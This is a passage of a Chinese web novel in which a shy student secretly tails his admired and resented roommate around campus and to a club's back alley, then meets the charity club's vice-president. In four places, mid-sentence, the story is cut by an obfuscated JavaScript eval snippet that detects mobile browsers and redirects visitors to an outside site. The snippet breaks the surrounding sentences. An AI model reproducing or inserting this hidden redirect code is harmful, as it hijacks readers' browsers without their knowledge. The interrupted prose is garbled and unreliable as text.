还是说他太过聪明,都预料到有人在怀疑他,跟踪他,甚至不择手段翻开他的个人物品寻找蛛丝马迹,所以特意留下错误线索误导对方呢? 姜津摇摇头,把这离谱的想法抛之脑后。魏黎应该没有到如此心机的程度。 也许是他搞错了,当时本来也就是上课时候的随手一记,没有太认真。这个想法姜津可以接受,并且越想越合理。 不过话说回来,魏黎在周日晚上,到底在哪,去干些什么呢? 关于他的不清不楚的问题总是让姜津抓耳挠腮,他打算周日继续跟踪一探究竟。 魏黎打完篮球回来的时候,寝室里漆黑一片。 他一边打开灯,一边喊了一声:“姜津。”语气轻快,跟往常没有什么两样。 一秒两秒三秒过去,没有任何人回应他,严丝合缝的床帘里也没有呼吸的声音。 他锁好门,把篮球一扔,任其在地板上弹来弹去,走到姜津的桌前。俊美无俦的冷漠眉眼一扫,片刻后两根修长的手指拉开了抽屉。 在抽屉的最深处,魏黎摸到了那个今天见过的、姜津宝贝至极的笔记本。 8. 遛狗 姜津回来的晚,陈玉和魏黎都在忙各自的事情,宿舍里静悄悄的,看起来没有什么异常。他悄无声息地打开抽屉,摸索一阵,假装在找什么东西,看见那个笔记本还完好无损地放在那里,终于是长舒一口气。 平时它应该跟他形影不离,但是这次去奶茶店的时候,一不小心落在宿舍了。 都怪戚思鸣!姜津愤愤地想,如果不是他今天搞这么一出,他就不会把它藏在抽屉里,还忘了把抽屉上锁。 姜津扫视一圈,不过幸好,桌上的摆设跟出门前的一模一样,没有人趁他不在翻过他的东西。 他打开笔记本,把今天去奶茶店的所见所闻记录下来,笔尖唰唰的,像蚂蚁在啃食树叶的声音。 突然姜津感觉有人在盯着自己,意味不明的视线如同一根舌头在他的后背舔舐游走,也像恐怖片黑暗里不露真容的恶鬼,让他下意识起了鸡皮疙瘩。他望去旁边桌子的魏黎,只见他在自己的桌前对着电脑,键盘上十指飞舞,眉头轻蹙,目不斜视,表情凝重,应该是在写什么文件。 神情专注,一切正常。 再转头看后面的陈玉,人家也在忙自己的事情。 姜津把视线收回,心中叹了一口气,感喟自己有时太过敏感多疑。 陈玉起身上厕所,路过魏黎的桌子,探头一看:“你在写什么呢?噼里啪啦的。” 姜津手上的动作不停,但也偷偷竖起耳朵,仔细听着那两人的动静。 魏黎:“过几天就是社团招新,我在写爱心社的招新流程,下周还有一个义捐衣物的活动,需要写策划案和画海报。” 陈玉咋舌:“你平时都那么忙,难为你这个社长亲力亲为,上上下下都要操心。” “哪有。”魏黎也不乱揽功劳,笑了一声,“我们社团还有两个副社长挺负责任的,大家都是想干点实事回报社会的人。” 姜津没有参加任何社团,他社恐惯了,上一次百团招新的时候乌泱乌泱一大群人,吵吵嚷嚷,跟在动物园赶集一样,他看见就心慌和腿肚子打颤,去食堂的时候都专门绕道走。 魏黎第一次参与策划的是一场义卖活动,当时策划的很成功,引起网络上一场不小的轰动,甚至还有市里的记者专门来采访。 那时候姜津路过操场,看见魏黎在摄像机面前侃侃而谈,当时他还不是社长,回应得却井井有条,把参与义卖的学生,爱心社的所有社员,负责社团活动的老师,管理学生课外素质的院长,乃至S大校长都拉出来夸了一遍。 曲意逢迎得令人恶心。 那个记者还是第一次遇到那么配合又能说会道的学生,听得她频频点头,乐开了花。说的话还滴水不漏,后期剪都不用剪。至此爱心社一炮打响,登顶成为S大第一的社团,连老师都对他们的活动审核宽松不少。 似乎魏黎干什么事情都能干得非常好,面对大场面也从不怯场,天生不知道困难为何物。 姜津牙齿发酸,他宁愿魏黎干什么都是形式主义和面子工程,是台前只会说漂亮话的草包,哪怕现在还没有人去揭穿他。可惜天不遂人愿。 魏黎是真的有能力,真真切切,货真价实。 优秀到姜津站在他身旁,就会被他的光芒遮盖到窒息。 周日这一天,魏黎一早就出了门。 陈玉还在呼呼大睡,雷都打不醒。姜津睡眠浅,听见有人在下面收拾东西,就知道魏黎打算出门。 等到门锁落下,姜津也赶紧偷偷摸摸穿衣服起床,下梯子的时候门又突然打开,吓了他一个激灵,一下踏空,光溜溜的小腿卡在空隙里。 魏黎站在门口,古怪地看他一眼,突然噗呲一声笑了:“你现在有点像考拉熊。”然后不等姜津反应,拿起桌子上的学生卡重新出门。 谁会预料到魏黎会折返回来,姜津腹诽。他匆匆忙忙洗漱一下就出门了。 他不确定魏黎那么早出门干什么,跟着七拐八拐走到了中心操场,只见一大群人围在那里,不知道在干嘛。姜津只是眨了一下眼睛,魏黎就混入其中,如同鱼入江河,一个摆尾消失不见了。 姜津见人不见,心里着急,嘴里不断说着“借过借过”,在人堆里打了好几圈也没找到魏黎的踪影,突然有个红马甲的人猝不及防地塞给他一张地图和一枚指南针。 姜津一愣,“这是干什么的?” 红马甲:“越野赛用的啊。” 姜津一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849005|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾水:“什么越野赛?” 红马甲白他一眼:“什么什么越野赛,这是定向越野社团举行的全校学生活动啊,中心操场是集合点,你不知道还来参加。”说罢就要走。 姜津一下子抓住他的袖子:“那个……跟你打听个事儿,你刚才看见过魏黎吗?” “经管学院的那个?”得到肯定答复后,红马甲扭头对旁边的社员说,“得,又来一个追魏黎的。以前只看见过女生来,今天第一次看见男的,想不到魏黎这家伙对男同吸引力都那么大。” 话音刚落,周围人齐刷刷扭过来头,好奇地打量姜津,然后窃窃私语。 姜津的脸被憋得通红,说话语无伦次,“我不是男同性恋,也不是来追魏黎的……不是,我是追,但不是那个追……” 远处传来一声哨响,那个红马甲把姜津往起点线一推:“追去吧,说不定你们在路上就遇见了!” 姜津一个踉跄,周围的同学不断超过他,姜津左躲右躲,好不容易站定,发现远处树林里极似魏黎的修长身影一闪而过。 他顿时一个激灵,眼睛直直地盯住那片林子,拨开人群,往那里走去。可好不容易凑近了却发现压根没有他的踪迹。 之后,诸如此类的事情发生了好几次,姜津几乎都要怀疑自己是老眼昏花还是看见海市蜃楼了。每次他眼睛和大脑板上钉钉地认为识别出了魏黎,但一走近,只是一个眨眼的功夫,便什么都没有。 他平时不常运动,细胳膊细腿,体测常年倒数。这次定向越野抵得上他之前一年的运动量。姜津手撑着腿,弯腰喘着粗气,喉咙干得冒烟,但还是奔着前面的路再次打起精神。 不过,只要他转过身,就能发现,他追寻的那个身影正混在人群中,接着树林的遮挡面无表情地看着他,阳光透过树叶间隙照在他脸上,光斑明明灭灭。 “魏黎!想不到你也在这。”有个熟悉的同学认出他冲他打招呼,“之前我邀请你那么多次你都不来,怎么突然临时决定参加了?” 魏黎转过头的瞬间换上粲然一笑的表情,眼角眉梢散发出的笑意动人心魄,好像初升的朝阳,语气一如既往: “大早上,总要出门遛遛狗的。” 9. 跟踪 姜津累死累活好不容易打完卡,拖着两条灌了铅的腿走近集合点,四处张望,也没有看见魏黎的任何身影。 他跟水雾一样,太阳一出,不知道什么时候就消失得无影无踪。 姜津有点感觉自己被耍了,一大早出门参加一个莫名其妙的活动,累个半死人还追丢了,但苦于没有证据,再说了,魏黎不可能提前知道自己这一天会跟着他。 姜津在操场上又碰见了那个红马甲,他在记成绩。姜津依旧不死心,凑上前对他说:“你看见魏黎了吗,他走了吗?” 红马甲头都不抬就知道是姜津,语气甚是不耐烦:“哎呦我真服了,天天魏黎呢魏黎呢,我又不是魏黎身上的细菌你找我也没用啊!” 姜津终于认命,刚走开没几步,只听见后面红马甲哎哎地叫他。 他一个激灵,立马扭头:“你看见他了?” “看见个屁。”红马甲翻了个白眼,把一个印着社团logo的帆布包抛给他,“给,完赛礼包。”姜津打开一看,里面除了本子和笔,还有个成绩小卡片,上面写着谢谢参与。 辛辛苦苦一上午,勉强跑下来,成绩不堪入目。 姜津累得连中午饭都吃不下,打算回宿舍睡觉,刚打开门,看见他追了一上午也没找见的人,魏黎,就老老实实地在宿舍跟陈玉聊天,听见动静,扭头向门口看去。 原来在姜津跟只没头苍蝇似的在地图上乱转时,魏黎早就打完卡拿完奖励回去了。此时他的手里也拿着同款帆布包,不过里面的东西比姜津的多不少,估计是取得了很好的名次才会有的。 陈玉看了一眼姜津手里拎着的完赛礼包,目瞪口呆:“吆呵,魏黎去玩定向越野就算了,怎么连你都去了?你啥时候对运动那么积极?” 什么叫“连你都去了”? 姜津现在脑门上全是汗,衣服上还有几片绿叶子,鞋上满是灰尘,不想回应陈玉的冷嘲热讽。反观魏黎,气定神闲的样子,精力饱满到像是刚起床。 虽然姜津很不想承认,魏黎在运动方面也是满分水平,不管是学院的篮球赛还是校运动会,都能拿出不错的表现。更可气的是,什么赛事都一点就通,难道这就是天赋吗? 魏黎眼底尽收姜津的狼狈,脸上一副不知情的神色:“你也不告诉我一声,咱俩可以一块组队,你就不用拿个谢谢参与奖了。” 忙了一上午,他的眼睛还是那么明亮,一点疲态不显。 谢谢参与奖又怎么了?魏黎又在明褒暗贬说着体面话,而且又不是谁都那么热爱运动。 看见他这冠冕堂皇的样子,姜津就恨得牙痒痒,他又不好说自己是跟着他稀里糊涂参与的比赛,只只能吃个哑巴亏:“不用……我正好心血来潮。” 估计以后他不会参加这种活动了。 天色快要全黑的时候,魏黎又出去了一趟。 姜津趁着夜色的遮掩,继续跟着他。他跟着魏黎出了校门,看着他上了车。他也抓紧打了个车追上,来到了城西的一条不知名的小巷。 姜津从来不知道也没有来过这个地方,这片巷子应该是哪条街的后街,错综复杂,路灯都没几个,伸手不见五指。这里紧邻着后厨还是什么,餐余垃圾桶放着好几个,绿水蔓延,臭味熏天。 姜津想不明白这里跟魏黎有着什么联系,只见那个修长的身影进去一晃,便消失在了拐角处。他急忙走进,但是黑灯瞎火的,又一次失去了魏黎的踪迹。 小巷分岔路众多,一墙之隔能听见里面嘈杂的声音,但是后门都锁着,半天也没见一个人。 姜津害怕迷路,踌躇不前,只见魏黎消失的那个拐角突然闪起一个火光,紧接着有人点了个烟。 微弱的火光照亮能力欠佳,只能看见一小块被照亮的地方,一根被点燃的烟晃来晃去,不知道坐着的人是男是女。 姜津被吓了一跳,他才发现有个人一直都坐在那个路边台阶上,他要是刚才跟着进去,估计莽撞地会一脚踩上去。 他强定了心神:“你是谁?” 黑暗里传出一道磁性的男声:“我还想问你呢,你偷偷摸摸来我们店后门干嘛?” “你们店后门?” 姜津打开手机电筒照向地面,勉强看清对方是一个大概三四十岁的男人,梳个大背头,穿着一身黑,吧嗒吧嗒抽着烟,一点动静都没有,难怪看不见。 “难不成还是你家后门?”罗禹笑了,“我在这当老板好几年了,第一次见当小偷连路都摸不透的。” 他晚上看场子烦了,找个机会出来吹吹夜风抽根烟,没想到瞅见有人神色懵懂地跑到这地方来了。 姜津一下子急了:“我不是来偷东西的。” “难不成你来应聘的?”罗禹上下打量了他一番,连连摇头,“我们这端盘子上酒的服务员都是要看脸的,你脸还行,回去打扮一番再来吧,穿得也太土了,我六十岁的爹都不那么穿。” 如果这时候有路灯,罗禹就会发现姜津脸红跟什么似的。他结结巴巴说:“我不是来应聘服务员的,我是来找人的。你有没有看见刚才走过去的一个男的?” “好几个酒吧和会所的后门都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849006|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这片,每天进进出出来打工的人没有二百也得有一百了,你说的哪个?” “刚才走过去,很高,一米八七,大概到这儿。”姜津比划了一下,然后有些艰难地开口,“脸……长得确实很帅,眼睛很亮。” 姜津描述魏黎这个人,思考半天,说出一个眼睛亮的特点。 虽然不知道对方在黑夜中能不能看见这双眼睛,但这个特点真的是姜津对他的最重要印象。他也是第一次见到有人的眼睛能那么好看湿润,都怀疑过魏黎是不是每天早上偷偷起床前滴眼药水。 罗禹缓缓吐出一口烟圈:“你找他干嘛?” 这个问题可把姜津难到了,他含糊说:“找他有点事儿……”他脑子转过弯来,“你认识他?你是这老板,那么说他在这儿打工吗?在哪个店?” 罗禹“嘿”了一声,“你查户口呢?我刚才就见你鬼鬼祟祟偷偷摸摸的,不会来跟踪他才摸到这的吧?我可要报警了。”他掏出手机装模作样地打电话,声色俱厉。 听了这话,姜津被吓得跟只兔子似的:“不是不是,你别误会。”如果警察真来,那就麻烦了。他苦于自己笨嘴拙舌,情急之下不知道怎么去讲,只能一个劲儿摆手。 “我诈你呢,”罗禹直勾勾盯住他,突然噗呲一笑,“你怎么那么不经骗。你说那人我根本不认识,我找谁告状去?” 姜津放下心来,但今晚还是算跟丢了,费了好大劲,心里难免有些失落。但好在不是一无所获,临走的时候他在巷子口拍了好几个照片,算是知道了魏黎又一个行动地点。 罗禹看见那个偏瘦的身影消失在巷子口,又等了一会儿,他才把烟蒂摁灭,拍拍屁股走进后门上了楼梯。与后街的肮脏杂乱没有关系,几乎是两个世界,这里的装修称得上富丽堂皇,路过的服务员穿的制服都价值不菲,每一个都仪表堂堂,空气里隐约还掺杂着名贵香水的气息。 罗禹还是太过谦虚,与其说是店,不如更像是高级私人会所,不是寻常的酒吧可以比的。 他七拐八拐来到员工更衣室,倚着门框,看着里面刚穿好衣服的魏黎。合身的制服更衬得他是面冠如玉器宇轩昂。 “有人跟踪你。” 魏黎目不斜视地看着镜子整理衣服,脸上没有任何表情:“我知道。” “你知道?”罗禹皱了下眉头,“来咱这消费的客人都比较特殊,你悠着点儿,别闹出什么乱子。” “禹哥,一只小苍蝇而已,飞来飞去是挺聒噪,”这时候魏黎才看向他,轻轻一笑,眼底寒光闪过,“但也仅止于此了。” 10. 薛定谔 之后一连几天的天气都是瓢泼大雨,新闻里都说是S省十年难得一见的恶劣天气。 他在地图上搜了搜,那个地方叫虹巷,是城西那边酒吧会所一条街的后街,员工进出都得经过那儿。黑布隆冬的是因为当初规划的时候就没规划好,而且平时市政的人很少管过。 大家都享受着一墙之隔的灯红酒绿,无暇顾及眼不见心不烦的地界儿。 一方面调查魏黎暂时没有取得什么实际性的进展,另一方面,让姜津发愁的还有他的学业成绩,由于前者消磨掉了他大部分精力,最近上的课已经听不太懂了。 由于S大卧虎藏龙太多,再继续这样下去,他的绩点估计不会很好看,于是决定抽出时间去图书馆学习。 自从上了大学,姜津不止一次意识到自己只是一个有点勤奋的普通人。普通的家庭,普通的头脑,普通的精力,唯一能拿的出手的也只有肯下死功夫了,但还是对学校里的天才望尘莫及。 在他抱着一摞书在图书馆下楼梯的时候,不知道是谁从背后撞了一下,姜津一个踉跄,书散落一地。他回头一看,人早就跑得无影无踪了。 这种事情发生过不止一次,姜津很早之前就怀疑过自己是不是脑门上刻着好欺负这三个字。楼道里周围的同学都视而不见,没有一个人出声。 正当他咬咬下嘴唇,习惯地蹲下来捡拾的时候,只听见上层一道清冷的女声传来: “你撞了人,为什么不道歉?” 整个楼道寂静了几秒。 看对方没有反应,她又重复道:“我问你,你撞了人,为什么不道歉?” 低头捡书的姜津一愣,慢慢抬头,似乎消化不了这句话。 引入眼帘的是一双酒红色布洛克小皮鞋缓缓下楼,再往上看是白色长裙里面的一截骨肉匀停的小腿,一步一步把刚才撞他的那个人逼退。 也许是嫌肇事者动作太墨迹还不情愿,那个高挑女生直接拽着他的胳膊,柔顺的黑色长发一晃一晃的,将他拖到姜津面前,宛如天神降临。 她下巴一抬,神色严肃地对着撞了人就跑的学生说:“你,把书都捡起来,向他道歉。” 姜津脸色一红,瞬间低下头去。他还有点不太习惯,明明被道歉的人是自己,他还是无所适从。 肇事男生看她不依不饶,只好照做,然后灰溜溜地跑掉了。 姜津看向那个女生的脸,在触碰到下颌线的时候似乎被烫到一般,匆匆又将视线移走,愣神地看着怀里的书。那个清冷声音在耳边响起:“下次再遇到这种事情,直接把对方叫住,不要吃哑巴亏。” 姜津头低的更低了,说话都不利索:“谢、谢谢你。” 一个小插曲而已,见事情解决完,女生扭头就走,一点也不拖泥带水。 中学时期只会埋头苦读,都没怎么跟同班女生说过话,这是他第一次离年轻的异性那么近,幸好怀里还抱着书,否则手都不知道怎么摆。女孩走后,楼道里背书的学生窃窃私语。 “刚才那个女生是谁?” “人工智能学院的逢绪。如你所见,人超级清冷漂亮,绩点也是专业第一。”另一个人有些鄙夷,“一看你就不参加什么学校活动,她是爱心社的副社长,只要有什么捐款捐物的公益,就能在南广场看到她在忙上忙下。” “怎么爱心社那么多俊男靓女,她肯定很多人追吧?” “刚开学的时候是有很多,不过现在都销声匿迹了。因为她真的很高冷严肃,也很有个性,一点也不理睬他们的。” 逢绪,原来她叫逢绪。 姜津咀嚼着这个名字,心脏怦怦。这还是第一次有人出面维护他,更何况还是一个追求者甚多,聪明漂亮的女生。 窗外狂风骤雨,姜津的心跟那些雨滴一样,在大理石地板上乱跳,然后泛起阵阵涟漪。 等等,爱心社的副社长?那不就是魏黎的左膀右臂吗?但是明明女生神色冷漠,姜津总感觉她比魏黎好相处的多。 同样出色的外表,聪明的头脑,魏黎甚至脸上有其他人更熟悉的亲和力笑容。看似相似,总感觉天差地别。 他只嫉恨魏黎,全然不是刚刚面对逢绪的心理。 他也不知道这时候为什么自己突然把两个人放在一起比较,只是脑子就这样自动联系到了一起。 姜津摸清楚了魏黎一周的日程,只有周日晚上会去虹巷。于是又一次,同时为了不引起怀疑,他先于魏黎一步来到了巷子里,找了一个能看见门口、相对干净又没有光的地方蹲着等他。早上刚过一阵大暴雨,空气清新不少。 这里他还学聪明了一点,找了几个杂物在旁边堆着。他瘦,蜷缩起来小小一团。从一开始傻傻地在大太阳底下躲在灌木丛后,到如今会用遮掩物,姜津感叹,果然功夫不负有心人,自己短时间跟踪技术提高了不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849007|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他心里还有点洋洋得意,魏黎肯定不会发现。虽然这种事情说出来比较难为情,但何尝不是一种精通。行行出状元,也没算拖S大名校的后腿。 这种小巷蚊子多,姜津这种细皮嫩肉的年轻小伙相当于一个移动大血包,谁逮着谁吸。实在难熬,姜津也不能出手打蚊子,只好默默受着。 姜津心想,蚊子你们吸就吸,能不能一个一个来,好歹也给他个缓冲的时间,而不是像吃了这顿没下顿一样一窝蜂迎上来。没血了算谁的?他等了半天,都快怀疑魏黎要是再不来,自己迟早先失血过多了。 闲来无事他正撕着手上的倒刺,突然听见一阵脚步声由远及近,抬头一看,立马打起精神。 等了一晚上的目标人物,魏黎,正大步走过来。 他正好在上一次消失的拐角处站定,然后踏上台阶。此时正好,手边的后门突然动了一下,有人出来,见是魏黎,侧身让开一道足够让人通过的缝隙。 姜津瞳孔一震,因为那个出来的人,还是穿着前几天的一身黑,梳着大背头。 “你今晚迟到了。” “抱歉,禹哥。”魏黎耸耸肩,“学校里出了一点事儿,所以耽搁了。” 罗禹没再说什么,拍拍肩膀让他进去。 这个禹哥明显认识魏黎,甚至称得上熟稔。那上次他知道姜津跟着的就是魏黎,但却要假装不认识,只是看着姜津跟个没头苍蝇一样乱转,还好声好气让他不要报警。 夏天夜晚,姜津冷汗直流。不知道罗禹到底有没有把他跟踪魏黎的事情告诉当事人。魏黎到底知不知道? 他说他是这儿的老板,魏黎像是来他这兼职的人。还有一个疑点就是,罗禹到底开的是什么店,那么神秘莫测。 魏黎周日晚上都来这里干什么?罗禹会跟他说起自己吗?告诉和不告诉,似乎都有可能。 而且,自从上次在奶茶店外面被魏黎当场抓包,姜津就感觉不太对劲。说不定自己一系列的伪装手法,在他眼里不过是拙劣的手法,宛如一个跳梁小丑。 怪不得他什么都没有查出来。 退一万步讲,就算魏黎知道了自己在跟着他,以他的性子,估计不会与他当面对质,应该还是会不动声色,什么也不做,照常生活。 因为自己手里确实没有什么实质性的、能威胁到他的把柄。 或许,自己应该换个思路了。 11. 躲雨 从图书馆出来的时候还是大暴雨,姜津打算去吃午饭,在大厅找了好几圈都没有自己那把伞。十五分钟之后他沮丧地想,可能真的是被别人拿走了。 那把伞不新也不好看,是老土的蓝格子伞,是他从小用到大,这么多年一直都没有换过,也算是相依为命,都有点感情在了。如今被偷,说不伤心是不可能的。 外面瓢泼大雨,隐约有雷声。姜津目测了一下,不出五秒钟就会全身湿透。周围的人步履匆匆,成群结伴去食堂吃饭,没有人注意到他这个被偷伞的倒霉蛋。 短时间真走不了,他鼓起勇气想去找个男同学一起打伞回去,话到嘴边却怎么也开不了口。此时身边真不缺独自打伞的男生,姜津在一楼大厅徘徊许久来回踱步,但还是默默放弃了。 主动交谈,跟陌生人合撑一把伞,对他来说是一个几乎不可能完成的挑战,跟要了他的命一样。 姜津独自蹲在图书馆的檐下,等着不知道什么时候才会来的短暂晴天,突然身侧传来一声“喵喵”叫声,他扭过头一看,不知道什么时候来了一只黑白相间的流浪猫,在他旁边舔着自己湿透的毛。 姜津下意识叫了一声“哎唷”。 这是一只小丑猫,眯缝小眼,鼻尖还有大块黑斑,毛发脏乱。姜津从没见过那么丑的猫。委婉的讲是长得有特色,不客气的说是丑得一骑绝尘。 姜津轻声问道:“你也是自己来躲雨的吗?” 他看向不远处的石桌,发现桌下还躲着几只凑成一团的猫。 他给小丑猫指了指,小心翼翼地说:“你的小伙伴在那,你可以过去找它们,还宽敞一点。” 小丑猫看了一眼,装作没听见一样,继续舔着自己的爪子。与此同时石桌下的几只猫声嘶力竭地“嗷呜”了一声,似乎很不乐意让它过去。 姜津:“……好吧,看来人家也不欢迎你,你想呆在这就呆吧。” 一人一猫,躲在狭窄拥挤的屋檐下,看着雨水汇聚成河从眼前飞速流过,仿佛时间分秒成型,不过是流向下水道。 姜津抱着自己的膝盖,突然开口,轻声问:“你也是被它们排挤的吗?” 小丑猫不答,继续舔着自己的毛。 正值饭点,不知道从哪个食堂飘来一股饭菜香味,姜津不饿,扭头对小丑猫说:“你陪我那么久,算咱俩有缘分,你在这等我一会儿,不要跑掉。” 然后听见了“喵”的一声,算是回应。 姜津把书包顶在头上,冒着暴雨撒丫子跑向对面的小卖店,买了一根鸡肉肠,再冒着暴雨淌水跑回来。这么一折腾,身上的衣服几乎半湿了,大风一吹,姜津躲着猫打了一个喷嚏。 他撕开外皮,用手把香肠揪成一小段一小段,放在手心,捧到小猫面前,“吃吧,它们吃不到,只有你能吃。” 小猫嗅嗅,就着他的手心吃了,小舌头扫的手心发痒。 姜津盯着一晃一晃的毛茸茸脑袋,思绪不知道飘向哪里,自言自语道:“我小时候也吃不到这种小零食,只能看亲戚家的小孩吃,我在一旁咽口水,眼馋得很。” 面前的猫加快了吃肠的速度,头晃得更厉害了。 姜津无可奈何地叹了一口气,“我没有要跟你抢的意思,慢慢吃,别呛到。” 他看了一眼丝毫没有停歇意思的大雨,接着找补:“其实我吃不吃饭都行的,也没有很饿,不用去食堂。” 他突然想起来从家回学校那晚的魏黎,在烘焙店打工的他仿佛整个人都由糖霜、奶油、软绵绵的蛋糕坯构成,这种碳水的香甜一直到他回宿舍也不会散掉,每次姜津都躲在床帘后面轻嗅好几下。像陈玉这种牛嚼牡丹、不懂得欣赏的人从来都没有闻到过。 那家烘焙店估计真的有什么秘方,抓的人心痒痒。 其实他真的很想吃那天魏黎给他带的红丝绒蛋糕,他从来没有吃过,不知道什么味道。会比魏黎身上混合的面包香气还要甜腻吗? 他的肚子不合时宜地叫了几声。“好吧。”姜津有些懊悔,“现在是有一点点饿。” 快要啃完的时候,姜津忍不住摸了摸猫头,老老实实地说:“你确实有点丑丑的……” 不料话音未落,小丑猫一下子跳起来,发出低吼声,猫猫拳“乓乓乓”砸向姜津的腿,他听不懂猫语都觉得它在骂骂咧咧。 “对、对不起!”他赶紧举手投降,“我以后不说你丑了嘛……” 小丑猫检测到关键字眼,又呲起牙,姜津没想到自己有朝一日还能被一只流浪猫揍服帖,刚想说点什么补偿,又害怕说错,急忙抿起嘴巴来,双手将肠奉上。 这时候它才大摇大摆继续屈尊纡贵吃它的鸡肉肠。 “毕加索能听懂人类说它难看的。”身后一道含笑的声音传来,姜津扭头一看。 只见那天见过的女生拢了拢白色裙摆,打着一把长柄黑伞,不知道在他身后站了多久。逢绪上前一步,在他身旁蹲下。黑伞把两个人笼罩起来,对着墙角,像一个秘密的小空间。 鼻尖传来陌生的香气,姜津的脸“噌”得一下红了,跟他手里的火腿肠衣不相上下。 他结结巴巴:“它、它叫毕加索,是因为长得抽象吗?” 逢绪惯来严肃冷漠的脸上难得噗呲一笑,点点头:“是的,我起的。” “挺有创意的……” 小丑猫,哦不,是毕加索吃完了鸡肉肠,过来慢条斯理蹭了蹭逢绪的小腿,翻脸不认账,不再理会姜津,显然跟她才是熟人。 “它是一只很敏感的小猫,估计是之前被不懂事的小孩砸过石头还笑话长相,心里就记住那个字了。爱心社给学校里每个流浪猫都起了名字,建了一个小程序,上面存档了它们的照片、品种和习性。就在给毕加索登记的时候,社团有个男同学朝它开玩笑,被狠狠挠了一道,半夜去急诊打的狂犬病疫苗。” 如果有人看见毕加索的小程序页面,就会看见备注栏里写着“千万不要在它面前提起‘丑’字,切记!!!!!!!!!” 姜津听得心惊胆战,看来毕加索大猫有大量,看在鸡肉肠的份上,只赏了他一顿猫猫拳。他低头一看,罪魁祸首吃饱了,在逢绪的脚边撒泼打滚,好不惬意。 “面对欺负,有的猫会伪装成刺猬,谁靠近不咬一口不罢休,有的胆小的会跑掉,从此见人就躲。不是它们古怪,是有些人,有些环境不适合它们。但是也没关系,再怎么古怪的小猫都有它们的去处。”逢绪顿了顿,“本来我们还想买一些猫窝放在附近给它们遮风挡雨,可惜上半年爱心社已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849008|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超了预算,没有那么多资金去支持。” 姜津一愣,说:“我以为你们社团都是很富裕的,再不济还有魏黎那么……那么巧舌如簧的社长,也会为资金不足苦恼吗?” “怎么会,学校给社团拨款都是一定的,魏黎已经尽他所能拉来很多赞助了,否则一些活动压根开展不了。”逢绪叹了一口气,皱皱眉头,“S省冬天的气温可不是闹着玩的,没有足够的暖和猫窝和猫粮,真不知道它们寒假怎么过。” 姜津脑子一热,脱口而出:“我可以留校,让它们到我床铺上取暖。” 逢绪被姜津的傻话逗得直笑:“且不说你们楼管能不能同意,就问问你的床铺能塞那么多只猫吗?” 姜津的脸被臊得更红了,恨不得把头埋进地里。 此时正好雨停了,逢绪收起来伞,“聊了那么久,还忘了自我介绍。我叫逢绪,人工智能学院的,最近我们爱心社在招新,你有没有兴趣参加?” 姜津犹豫片刻,最终还是点了点头。 以后,是不是会有更多光明正大见到魏黎的机会了呢?他是社团长的室友,按理来说进入社团还不是一件轻而易举的事情,但姜津觉得这样太过打草惊蛇。毕竟对方有没有察觉到他在调查他还是一个未知数。 现在不一样了,倘若另一个副社长,逢绪邀请他,那就理正言顺了。 姜津报他的专业和名字的时候,逢绪“咦”了一声,“你原来跟魏黎是一个专业的。” “嗯,”姜津有些扭捏,说来说去他的身份又关系上了魏黎,仿佛只要还在S大一天,他就一天摆脱不了魏黎的阴影,“……我跟他是一个寝室的。” “原来是你。”逢绪点开姜津的备注,“我知道你,很早之前聚餐,魏黎给我们说过他的室友们。” 姜津心脏顿时提起来,“怎、怎么说的?” “放心,不是说你坏话。魏黎说话很谨慎,从来不在背后讨伐人。”逢绪收起手机,“他说他那两个室友性格正好相反,一个直言爽语,另一个很安静。他说你是一个很沉得住气,能踏踏实实做一件事情的人。” 姜津听后心情五味杂陈。魏黎情商确实高,陈玉这种口无遮拦的都能夸直言爽语,而他这种不善言辞,阴郁得像暗处苔藓的人,也会被夸沉稳安静。果然是语言的魅力。 他结识逢绪完全是巧合,如果是陈玉站在这里听逢绪一番话,估计会被魏黎感动,然后给他发消息说什么兄弟你懂我,普天之下只有你知道我的内心是一个细腻勇敢又仗义执言的人,今晚出去喝酒,我请客! 